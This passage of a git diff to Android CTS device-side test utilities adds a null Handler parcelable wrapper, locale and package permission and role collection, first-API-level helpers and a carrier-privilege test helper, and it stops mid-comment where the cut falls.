+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.os.Handler;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Handler} for clients
+ * which do not need to actually use the {@link Handler} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Handler.class)
+public final class NullParcelableHandler implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link Handler}.
+     */
+    public static <F> NullParcelableHandler of(
+            Bundler bundler, BundlerType type,
+            Handler handler) {
+
+        if (handler != null) {
+            throw new IllegalArgumentException("handler can only be null");
+        }
+
+        return new NullParcelableHandler();
+    }
+
+    private NullParcelableHandler() {
+    }
+
+    public Handler get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableHandler> CREATOR =
+            new Creator<NullParcelableHandler>() {
+                @Override
+                public NullParcelableHandler createFromParcel(Parcel in) {
+                    return new NullParcelableHandler();
+                }
+
+                @Override
+                public NullParcelableHandler[] newArray(int size) {
+                    return new NullParcelableHandler[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
index 22217a3..7225c75 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
@@ -39,6 +39,11 @@
     public static <F> NullParcelableRemoteDevicePolicyManager of(
             Bundler bundler, BundlerType type,
             RemoteDevicePolicyManager remoteDevicePolicyManager) {
+
+        if (remoteDevicePolicyManager != null) {
+            throw new IllegalArgumentException("remoteDevicePolicyManager can only be null");
+        }
+
         return new NullParcelableRemoteDevicePolicyManager();
     }
 
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
index 7a5dfb8..bf2b551 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/LocaleDeviceInfo.java
@@ -16,6 +16,7 @@
 package com.android.compatibility.common.deviceinfo;
 
 import android.icu.util.ULocale;
+import android.icu.util.VersionInfo;
 import android.util.Log;
 import androidx.annotation.Nullable;
 import com.android.compatibility.common.util.DeviceInfoStore;
@@ -31,6 +32,7 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.stream.Collectors;
+import java.util.stream.Stream;
 
 /**
  * Locale device info collector.
@@ -66,35 +68,49 @@
      * /apex/com.android.i18n/etc/icu/icudt65l.dat
      */
     private void collectLocaleDataFilesInfo(DeviceInfoStore store) throws IOException {
+        int icuVersion = VersionInfo.ICU_VERSION.getMajor();
+        File[] fixedDatPaths = new File[] {
+                new File("/apex/com.android.tzdata/etc/icu/icu_tzdata.dat"),
+                new File("/apex/com.android.i18n/etc/icu/icudt" + icuVersion + "l.dat"),
+        };
+
+        // This property has been deprecated since Android 12. The property will not work if this
+        // app targets SDK level 31 or higher. Thus, we add the above fixedDatPaths in case that
+        // the property is not working. When this comment was written, this CTS app still targets
+        // SDK level 23.
         String prop = System.getProperty("android.icu.impl.ICUBinary.dataPath");
         store.startArray("icu_data_file_info");
+
+        List<File> datFiles = new ArrayList<>();
         if (prop != null) {
             String[] dataDirs = prop.split(":");
-            // List all readable ".dat" files in the directories.
-            List<File> datFiles = Arrays.stream(dataDirs)
+            // List all ".dat" files in the directories.
+            datFiles = Arrays.stream(dataDirs)
                 .filter((dir) -> dir != null && !dir.isEmpty())
                 .map((dir) -> new File(dir))
                 .filter((f) -> f.canRead() && f.isDirectory())
                 .map((f) -> f.listFiles())
                 .filter((files) -> files != null)
-                .map((files) -> Arrays.asList(files))
-                .reduce(new ArrayList<>(), (l1, l2) -> {
-                    l1.addAll(l2);
-                    return l1;
-                })
-                .stream()
-                .filter((f) -> f != null && f.canRead() && f.getName().endsWith(".dat"))
+                .flatMap(files -> Stream.of(files))
                 .collect(Collectors.toList());
+        }
 
-            for (File datFile : datFiles) {
-                String sha256Hash = sha256(datFile);
+        datFiles.addAll(Arrays.asList(fixedDatPaths));
 
-                store.startGroup();
-                store.addResult("file_path", datFile.getPath());
-                // Still store the null hash to indicate an error occurring when obtaining the hash.
-                store.addResult("file_sha256", sha256Hash);
-                store.endGroup();
-            }
+        // Keep the readable paths only.
+        datFiles = datFiles.stream()
+            .distinct()
+            .filter((f) -> f != null && f.canRead() && f.getName().endsWith(".dat"))
+            .collect(Collectors.toList());
+
+        for (File datFile : datFiles) {
+            String sha256Hash = sha256(datFile);
+
+            store.startGroup();
+            store.addResult("file_path", datFile.getPath());
+            // Still store the null hash to indicate an error occurring when obtaining the hash.
+            store.addResult("file_sha256", sha256Hash);
+            store.endGroup();
         }
         store.endArray();
     }
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 32e41a1..fbff1c4 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -15,8 +15,10 @@
  */
 package com.android.compatibility.common.deviceinfo;
 
+import android.Manifest;
 import android.annotation.TargetApi;
 import android.app.admin.DevicePolicyManager;
+import android.app.role.RoleManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
@@ -25,12 +27,16 @@
 import android.content.pm.PermissionInfo;
 import android.os.Build;
 import android.os.Process;
+
 import com.android.compatibility.common.util.DeviceInfoStore;
 import com.android.compatibility.common.util.PackageUtil;
 
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -42,7 +48,8 @@
 public class PackageDeviceInfo extends DeviceInfo {
 
     private static final String PLATFORM = "android";
-    private static final String PLATFORM_PERMISSION_PREFIX = "android.";
+    private static final String PLATFORM_ANDROID_PERMISSION_PREFIX = "android.permission.";
+    private static final String PLATFORM_MANIFEST_PERMISSION_PREFIX = "android.Manifest.permission.";
 
     private static final String PACKAGE = "package";
     private static final String NAME = "name";
@@ -53,17 +60,23 @@
     private static final String TARGET_SDK = "target_sdk";
 
     private static final String REQUESTED_PERMISSIONS = "requested_permissions";
+    private static final String DEFINED_PERMISSIONS = "defined_permissions";
     private static final String PERMISSION_NAME = "name";
     private static final String PERMISSION_FLAGS = "flags";
     private static final String PERMISSION_GROUP = "permission_group";
     private static final String PERMISSION_PROTECTION = "protection_level";
     private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
+    private static final String PERMISSION_IS_GRANTED = "is_granted";
+
 
     private static final String PERMISSION_TYPE = "type";
     private static final int PERMISSION_TYPE_SYSTEM = 1;
     private static final int PERMISSION_TYPE_OEM = 2;
     private static final int PERMISSION_TYPE_CUSTOM = 3;
 
+    private static final String REQUESTED_ROLES = "requested_roles";
+    private static final String ROLE_NAME = "name";
+
     private static final String HAS_SYSTEM_UID = "has_system_uid";
 
     private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
@@ -82,6 +95,21 @@
     private static final String CONFIG_ACCESSIBILITY_SERVICE = "config_defaultAccessibilityService";
     private static final String DEFAULT_ACCESSIBILITY_SERVICE = "is_default_accessibility_service";
 
+    private static final HashSet<String> ADDITIONAL_ANDROID_PERMISSIONS = new HashSet<>(Arrays.asList(new String[] {
+        "com.android.voicemail.permission.ADD_VOICEMAIL",
+        "com.android.voicemail.permission.WRITE_VOICEMAIL",
+        "com.android.voicemail.permission.READ_VOICEMAIL",
+        "com.android.browser.permission.READ_HISTORY_BOOKMARKS",
+        "com.android.browser.permission.WRITE_HISTORY_BOOKMARKS",
+        "com.android.alarm.permission.SET_ALARM",
+        "com.android.launcher.permission.INSTALL_SHORTCUT",
+        "com.android.launcher.permission.UNINSTALL_SHORTCUT",
+        "com.android.permission.INSTALL_EXISTING_PACKAGES",
+        "com.android.permission.USE_INSTALLER_V2",
+        "com.android.permission.USE_SYSTEM_DATA_LOADERS",
+        "android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
+    }));
+
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -96,6 +124,8 @@
 
         final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent();
 
+        final HashMap<String, List<String>> packageRolesData = getPackageRolesData();
+
         // Platform permission data used to tag permissions information with sourcing information
         final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS);
         final Set<String> platformPermissions = new HashSet<String>();
@@ -109,7 +139,9 @@
             store.addResult(NAME, pkg.packageName);
             store.addResult(VERSION_NAME, pkg.versionName);
 
-            collectPermissions(store, pm, platformPermissions, pkg);
+            collectRequestedPermissions(store, pm, platformPermissions, pkg);
+            collectDefinedPermissions(store, platformPermissions, pkg);
+
             collectionApplicationInfo(store, pm, pkg);
 
             store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS,
@@ -131,12 +163,14 @@
             String sha256_file = PackageUtil.computePackageFileDigest(pkg);
             store.addResult(SHA256_FILE, sha256_file);
 
+            collectRoles(store, packageRolesData, pkg);
+
             store.endGroup();
         }
         store.endArray(); // "package"
     }
 
-    private static void collectPermissions(DeviceInfoStore store,
+    private static void collectRequestedPermissions(DeviceInfoStore store,
                                            PackageManager pm,
                                            Set<String> systemPermissions,
                                            PackageInfo pkg) throws IOException
@@ -150,20 +184,11 @@
                     final PermissionInfo pi = pm.getPermissionInfo(permission, 0);
 
                     store.startGroup();
-                    store.addResult(PERMISSION_NAME, permission);
-                    writePermissionsDetails(pi, store);
+                    writePermissionsDetails(pi, store, systemPermissions);
 
-                    final boolean isPlatformPermission = systemPermissions.contains(permission);
-                    if (isPlatformPermission) {
-                      final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
-                      if (isAndroidPermission) {
-                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
-                      } else {
-                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
-                      }
-                    } else {
-                      store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
-                    }
+                    boolean isGranted = pm.checkPermission(
+                            permission, pkg.packageName) == pm.PERMISSION_GRANTED;
+                    store.addResult(PERMISSION_IS_GRANTED, isGranted);
 
                     store.endGroup();
                 } catch (PackageManager.NameNotFoundException e) {
@@ -174,6 +199,27 @@
         store.endArray();
     }
 
+    private static void collectDefinedPermissions(DeviceInfoStore store,
+                                                  Set<String> systemPermissions,
+                                                  PackageInfo pkg) throws IOException {
+        if (pkg.permissions != null && pkg.permissions.length > 0) {
+            store.startArray(DEFINED_PERMISSIONS);
+            for (PermissionInfo permission : pkg.permissions) {
+                if (permission == null) continue;
+                // Ignore "android" package defined AOSP permissions.
+                if (pkg.packageName.equals(PLATFORM)
+                        && isAndroidPermission(permission.name))
+                    continue;
+
+                store.startGroup();
+                writePermissionsDetails(permission, store, systemPermissions);
+                store.endGroup();
+
+            }
+            store.endArray();
+        }
+    }
+
     private static void collectionApplicationInfo(DeviceInfoStore store,
                                                   PackageManager pm,
                                                   PackageInfo pkg) throws IOException {
@@ -225,8 +271,12 @@
         return sharedPermissions.contains(PackageDeviceInfo.INSTALL_PACKAGES_PERMISSION);
     }
 
-    private static void writePermissionsDetails(PermissionInfo pi, DeviceInfoStore store)
-            throws IOException {
+    private static void writePermissionsDetails(PermissionInfo pi,
+                                                DeviceInfoStore store,
+                                                Set<String> systemPermissions) throws IOException {
+        final String permissionName = pi.name;
+        store.addResult(PERMISSION_NAME, permissionName);
+
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
             store.addResult(PERMISSION_FLAGS, pi.flags);
         } else {
@@ -244,6 +294,18 @@
             store.addResult(PERMISSION_PROTECTION_FLAGS,
                     pi.protectionLevel & ~PermissionInfo.PROTECTION_MASK_BASE);
         }
+
+        final boolean isPlatformPermission = systemPermissions.contains(permissionName);
+        if (isPlatformPermission) {
+            final boolean isAndroidPermission = isAndroidPermission(permissionName);
+            if (isAndroidPermission) {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
+            } else {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
+            }
+        } else {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
+        }
     }
 
     private Set<String> getActiveDeviceAdminPackages() {
@@ -291,5 +353,55 @@
                 .getResources()
                 .getIdentifier(name, type, "android");
     }
+
+    /** Return a boolean value to whether the permission is an android permission defined by android package */
+    private static boolean isAndroidPermission(String permissionName) {
+        if(permissionName.startsWith(PLATFORM_ANDROID_PERMISSION_PREFIX)
+            || permissionName.startsWith(PLATFORM_MANIFEST_PERMISSION_PREFIX)
+            || ADDITIONAL_ANDROID_PERMISSIONS.contains(permissionName))
+            return true;
+        return false;
+    }
+
+    private static void collectRoles(DeviceInfoStore store,
+                                     HashMap<String, List<String>> packageRolesData,
+                                     PackageInfo pkg) throws IOException {
+        String packageName = pkg.packageName;
+        if(packageRolesData.containsKey(packageName)) {
+            List<String> roleNames = packageRolesData.get(packageName);
+
+            store.startArray(REQUESTED_ROLES);
+            for(String roleName: roleNames) {
+                store.startGroup();
+                store.addResult(ROLE_NAME, roleName);
+                store.endGroup();
+            }
+            store.endArray();
+        }
+    }
+
+    /*
+        Return a map of PackageName -> List of RoleNames held by that package
+    */
+    private HashMap<String, List<String>> getPackageRolesData() throws Exception {
+        final RoleManager roleManager = getContext().getSystemService(RoleManager.class);
+        HashMap<String, List<String>> packageRolesData = new HashMap<>();
+
+        for(String roleName: RolesUtil.ROLE_NAMES) {
+            List<String> packageNames = getRoleHolders(roleName, roleManager);
+
+            for(String packageName: packageNames) {
+                packageRolesData.putIfAbsent(packageName, new ArrayList<>());
+                packageRolesData.get(packageName).add(roleName);
+            }
+        }
+        return packageRolesData;
+    }
+
+    public static List<String> getRoleHolders(String roleName, RoleManager roleManager) throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> roleManager.getRoleHolders(roleName),
+                        Manifest.permission.MANAGE_ROLE_HOLDERS);
+    }
 }
 
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
new file mode 100644
index 0000000..65531d5
--- /dev/null
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
@@ -0,0 +1,47 @@
+package com.android.compatibility.common.deviceinfo;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+public class RolesUtil {
+    public final static List<String> ROLE_NAMES = new ArrayList<>(Arrays.asList(new String[] {
+        "android.app.role.ASSISTANT",
+        "android.app.role.AUTOMOTIVE_NAVIGATION",
+        "android.app.role.BROWSER",
+        "android.app.role.CALL_REDIRECTION",
+        "android.app.role.CALL_SCREENING",
+        "android.app.role.COMPANION_DEVICE_APP_STREAMING",
+        "android.app.role.COMPANION_DEVICE_COMPUTER",
+        "android.app.role.COMPANION_DEVICE_WATCH",
+        "android.app.role.DEVICE_POLICY_MANAGEMENT",
+        "android.app.role.DIALER",
+        "android.app.role.EMERGENCY",
+        "android.app.role.HOME",
+        "android.app.role.SMS",
+        "android.app.role.SYSTEM_ACTIVITY_RECOGNIZER",
+        "android.app.role.SYSTEM_AMBIENT_AUDIO_INTELLIGENCE",
+        "android.app.role.SYSTEM_APP_PROTECTION_SERVICE",
+        "android.app.role.SYSTEM_AUDIO_INTELLIGENCE",
+        "android.app.role.SYSTEM_AUTOMOTIVE_CALENDAR_SYNC_MANAGER",
+        "android.app.role.SYSTEM_AUTOMOTIVE_CLUSTER",
+        "android.app.role.SYSTEM_AUTOMOTIVE_PROJECTION",
+        "android.app.role.SYSTEM_COMPANION_DEVICE_PROVIDER",
+        "android.app.role.SYSTEM_CONTACTS",
+        "android.app.role.SYSTEM_DOCUMENT_MANAGER",
+        "android.app.role.SYSTEM_GALLERY",
+        "android.app.role.SYSTEM_NOTIFICATION_INTELLIGENCE",
+        "android.app.role.SYSTEM_SETTINGS_INTELLIGENCE",
+        "android.app.role.SYSTEM_SHELL",
+        "android.app.role.SYSTEM_SPEECH_RECOGNIZER",
+        "android.app.role.SYSTEM_SUPERVISION",
+        "android.app.role.SYSTEM_TELEVISION_NOTIFICATION_HANDLER",
+        "android.app.role.SYSTEM_TELEVISION_REMOTE_SERVICE",
+        "android.app.role.SYSTEM_TEXT_INTELLIGENCE",
+        "android.app.role.SYSTEM_UI",
+        "android.app.role.SYSTEM_UI_INTELLIGENCE",
+        "android.app.role.SYSTEM_VISUAL_INTELLIGENCE",
+        "android.app.role.SYSTEM_WELLBEING",
+        "android.app.role.SYSTEM_WIFI_COEX_MANAGER",
+    }));
+}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
index 767f1d9..8f1d450 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
@@ -16,6 +16,7 @@
 package com.android.compatibility.common.deviceinfo;
 
 import android.os.Environment;
+import android.os.SystemProperties;
 import android.util.Log;
 
 import com.android.compatibility.common.util.DeviceInfoStore;
@@ -57,12 +58,15 @@
         store.addResult("num_emulated", emulated);
 
         store.addListResult("raw_partition", scanPartitions());
+
+        boolean hasCompress = SystemProperties.getInt("vold.has_compress", 0) != 0 ? true : false;
+        store.addResult("compression", hasCompress);
     }
 
     private List<String> scanPartitions() {
         List<String> partitionList = new ArrayList<>();
         try {
-            Process df = new ProcessBuilder("df -k").start();
+            Process df = Runtime.getRuntime().exec("df -k");
             Scanner scanner = new Scanner(df.getInputStream());
             try {
                 while (scanner.hasNextLine()) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ApiLevelUtil.java
index 943ebc7..b2d496c 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -17,6 +17,7 @@
 package com.android.compatibility.common.util;
 
 import android.os.Build;
+import android.os.SystemProperties;
 
 import java.lang.reflect.Field;
 
@@ -24,6 +25,11 @@
  * Device-side compatibility utility class for reading device API level.
  */
 public class ApiLevelUtil {
+    // os.Build.VERSION.DEVICE_INITIAL_SDK_INT can be used here, but it was called
+    // os.Build.VERSION.FIRST_SDK_INT in Android R and below. Using DEVICE_INITIAL_SDK_INT
+    // will mean that the tests built in Android S and above can't be run on Android R and below.
+    private static final int FIRST_API_LEVEL =
+            SystemProperties.getInt("ro.product.first_api_level", 0);
 
     public static boolean isBefore(int version) {
         return Build.VERSION.SDK_INT < version;
@@ -61,6 +67,42 @@
         return Build.VERSION.SDK_INT;
     }
 
+    public static boolean isFirstApiBefore(int version) {
+        return FIRST_API_LEVEL < version;
+    }
+
+    public static boolean isFirstApiBefore(String version) {
+        return FIRST_API_LEVEL < resolveVersionString(version);
+    }
+
+    public static boolean isFirstApiAfter(int version) {
+        return FIRST_API_LEVEL > version;
+    }
+
+    public static boolean isFirstApiAfter(String version) {
+        return FIRST_API_LEVEL > resolveVersionString(version);
+    }
+
+    public static boolean isFirstApiAtLeast(int version) {
+        return FIRST_API_LEVEL >= version;
+    }
+
+    public static boolean isFirstApiAtLeast(String version) {
+        return FIRST_API_LEVEL >= resolveVersionString(version);
+    }
+
+    public static boolean isFirstApiAtMost(int version) {
+        return FIRST_API_LEVEL <= version;
+    }
+
+    public static boolean isFirstApiAtMost(String version) {
+        return FIRST_API_LEVEL <= resolveVersionString(version);
+    }
+
+    public static int getFirstApiLevel() {
+        return FIRST_API_LEVEL;
+    }
+
     public static boolean codenameEquals(String name) {
         return Build.VERSION.CODENAME.equalsIgnoreCase(name.trim());
     }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CarrierPrivilegeUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CarrierPrivilegeUtils.java
new file mode 100644
index 0000000..edf0077
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CarrierPrivilegeUtils.java
@@ -0,0 +1,206 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.telephony.TelephonyManager.CarrierPrivilegesCallback;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.PersistableBundle;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.util.Objects;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Utility to execute a code block with carrier privileges.
+ *
+ * <p>The utility methods contained in this class will release carrier privileges once the specified
+ * task is completed.
+ *
+ * <p>Example:
+ * <pre>
+ *   CarrierPrivilegeUtils.withCarrierPrivileges(c, subId, () -> telephonyManager.setFoo(bar));
+ * </pre>
+ *
+ * @see {@link TelephonyManager#hasCarrierPrivileges()}
+ */
+public final class CarrierPrivilegeUtils {
+    private static final String TAG = CarrierPrivilegeUtils.class.getSimpleName();
+
+    private static class CarrierPrivilegeChangeMonitor implements AutoCloseable {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final Context mContext;
+        private final int mSubId;
+        private final boolean mGain;
+        private final boolean mIsShell;
+        private final TelephonyManager mTelephonyManager;
+        private final CarrierPrivilegesCallback mCarrierPrivilegesCallback;
+
+        /**
+         * Construct a {@link CarrierPrivilegesCallback} to monitor carrier privileges change.
+         * @param c context
+         * @param subId subscriptionId to listen to
+         * @param gain true if wait to grant carrier privileges, false if wait to revoke
+         * @param isShell true if the caller is Shell
+         */
+        CarrierPrivilegeChangeMonitor(Context c, int subId, boolean gain, boolean isShell) {
+            mContext = c;
+            mSubId = subId;
+            mGain = gain;
+            mIsShell = isShell;
+            mTelephonyManager = mContext.getSystemService(
+                    TelephonyManager.class).createForSubscriptionId(subId);
+            Objects.requireNonNull(mTelephonyManager);
+
+            mCarrierPrivilegesCallback = (privilegedPackageNames, privilegedUids) -> {
+                if (mTelephonyManager.hasCarrierPrivileges() == mGain) {
+                    mLatch.countDown();
+                }
+            };
+
+            // Run with shell identify only when caller is not Shell to avoid overriding current
+            // SHELL permissions
+            if (mIsShell) {
+                mTelephonyManager.registerCarrierPrivilegesCallback(
+                        SubscriptionManager.getSlotIndex(subId),
+                        mContext.getMainExecutor(),
+                        mCarrierPrivilegesCallback);
+            } else {
+                runWithShellPermissionIdentity(() -> {
+                    mTelephonyManager.registerCarrierPrivilegesCallback(
+                            SubscriptionManager.getSlotIndex(subId),
+                            mContext.getMainExecutor(),
+                            mCarrierPrivilegesCallback);
+                }, Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+            }
+        }
+
+        @Override
+        public void close() {
+            if (mTelephonyManager == null) return;
+
+            if (mIsShell) {
+                mTelephonyManager.unregisterCarrierPrivilegesCallback(mCarrierPrivilegesCallback);
+            } else {
+                runWithShellPermissionIdentity(
+                        () -> mTelephonyManager.unregisterCarrierPrivilegesCallback(
+                                mCarrierPrivilegesCallback),
+                        Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+            }
+        }
+
+        public void waitForCarrierPrivilegeChanged() throws Exception {
+            if (!mLatch.await(5, TimeUnit.SECONDS)) {
+                throw new IllegalStateException("Failed to update carrier privileges");
+            }
+        }
+    }
+
+    private static boolean hasCarrierPrivileges(Context c, int subId) {
+        // Synchronously check for carrier privileges. Checking certificates MAY be incorrect if
+        // broadcasts are delayed.
+        return c.getSystemService(TelephonyManager.class)
+                .createForSubscriptionId(subId)
+                .hasCarrierPrivileges();
+    }
+
+    private static String getCertHashForThisPackage(final Context c) throws Exception {
+        final PackageInfo pkgInfo = c.getPackageManager()
+                .getPackageInfo(c.getOpPackageName(), PackageManager.GET_SIGNATURES);
+        final MessageDigest md = MessageDigest.getInstance("SHA-256");
+        final byte[] certHash = md.digest(pkgInfo.signatures[0].toByteArray());
+        return UiccUtil.bytesToHexString(certHash);
+    }
+
+    private static void changeCarrierPrivileges(Context c, int subId, boolean gain, boolean isShell)
+            throws Exception {
+        if (hasCarrierPrivileges(c, subId) == gain) {
+            Log.w(TAG, "Carrier privileges already " + (gain ? "granted" : "revoked") + "; bug?");
+            return;
+        }
+
+        final String certHash = getCertHashForThisPackage(c);
+        final PersistableBundle carrierConfigs;
+
+        if (gain) {
+            carrierConfigs = new PersistableBundle();
+            carrierConfigs.putStringArray(
+                    CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY,
+                    new String[] {certHash});
+        } else {
+            carrierConfigs = null;
+        }
+
+        final CarrierConfigManager configManager = c.getSystemService(CarrierConfigManager.class);
+
+        try (CarrierPrivilegeChangeMonitor monitor =
+                     new CarrierPrivilegeChangeMonitor(c, subId, gain, isShell)) {
+            // If the caller is the shell, it's dangerous to adopt shell permission identity for
+            // the CarrierConfig override (as it will override the existing shell permissions).
+            if (isShell) {
+                configManager.overrideConfig(subId, carrierConfigs);
+            } else {
+                runWithShellPermissionIdentity(() -> {
+                    configManager.overrideConfig(subId, carrierConfigs);
+                }, android.Manifest.permission.MODIFY_PHONE_STATE);
+            }
+
+            monitor.waitForCarrierPrivilegeChanged();
+        }
+    }
+
+    public static void withCarrierPrivileges(Context c, int subId, ThrowingRunnable action)
+            throws Exception {
+        try {
+            changeCarrierPrivileges(c, subId, true /* gain */, false /* isShell */);
+            action.run();
+        } finally {
+            changeCarrierPrivileges(c, subId, false /* lose */, false /* isShell */);
+        }
+    }
+
+    /** Completes the provided action while assuming the caller is the Shell. */
+    public static void withCarrierPrivilegesForShell(Context c, int subId, ThrowingRunnable action)
+            throws Exception {
+        try {
+            changeCarrierPrivileges(c, subId, true /* gain */, true /* isShell */);
+            action.run();
+        } finally {
+            changeCarrierPrivileges(c, subId, false /* lose */, true /* isShell */);
+        }
+    }
+
+    public static <R> R withCarrierPrivileges(Context c, int subId, ThrowingSupplier<R> action)
+            throws Exception {
+        try {
+            changeCarrierPrivileges(c, subId, true /* gain */, false /* isShell */);
+            return action.get();
+        } finally {
+            changeCarrierPrivileges(c, subId, false /* lose */, false /* isShell */);
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
index 66e3b20..bb4a95e 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
@@ -300,7 +300,7 @@
         final long longPressTimeoutMs = ViewConfiguration.getLongPressTimeout();
         final int maxDragDurationMs = getMaxDragDuration(touchSlop, longPressTimeoutMs, coordinates,
                 moveEventCount);
-        if (dragDurationMs > maxDragDurationMs) {
+        if (maxDragDurationMs < dragDurationMs) {
             Log.d(TAG, "emulateDragGesture: Lowering standard drag duration from " + dragDurationMs
                     + " ms to " + maxDragDurationMs + " ms to avoid triggering a long press ");
             dragDurationMs = maxDragDurationMs;
@@ -311,7 +311,7 @@
     }
 
     /**
-     * Gets the maximal drag duration that assures not triggering a long press during a drag gesture
+     * Get the maximal drag duration that assures not triggering a long press during a drag gesture
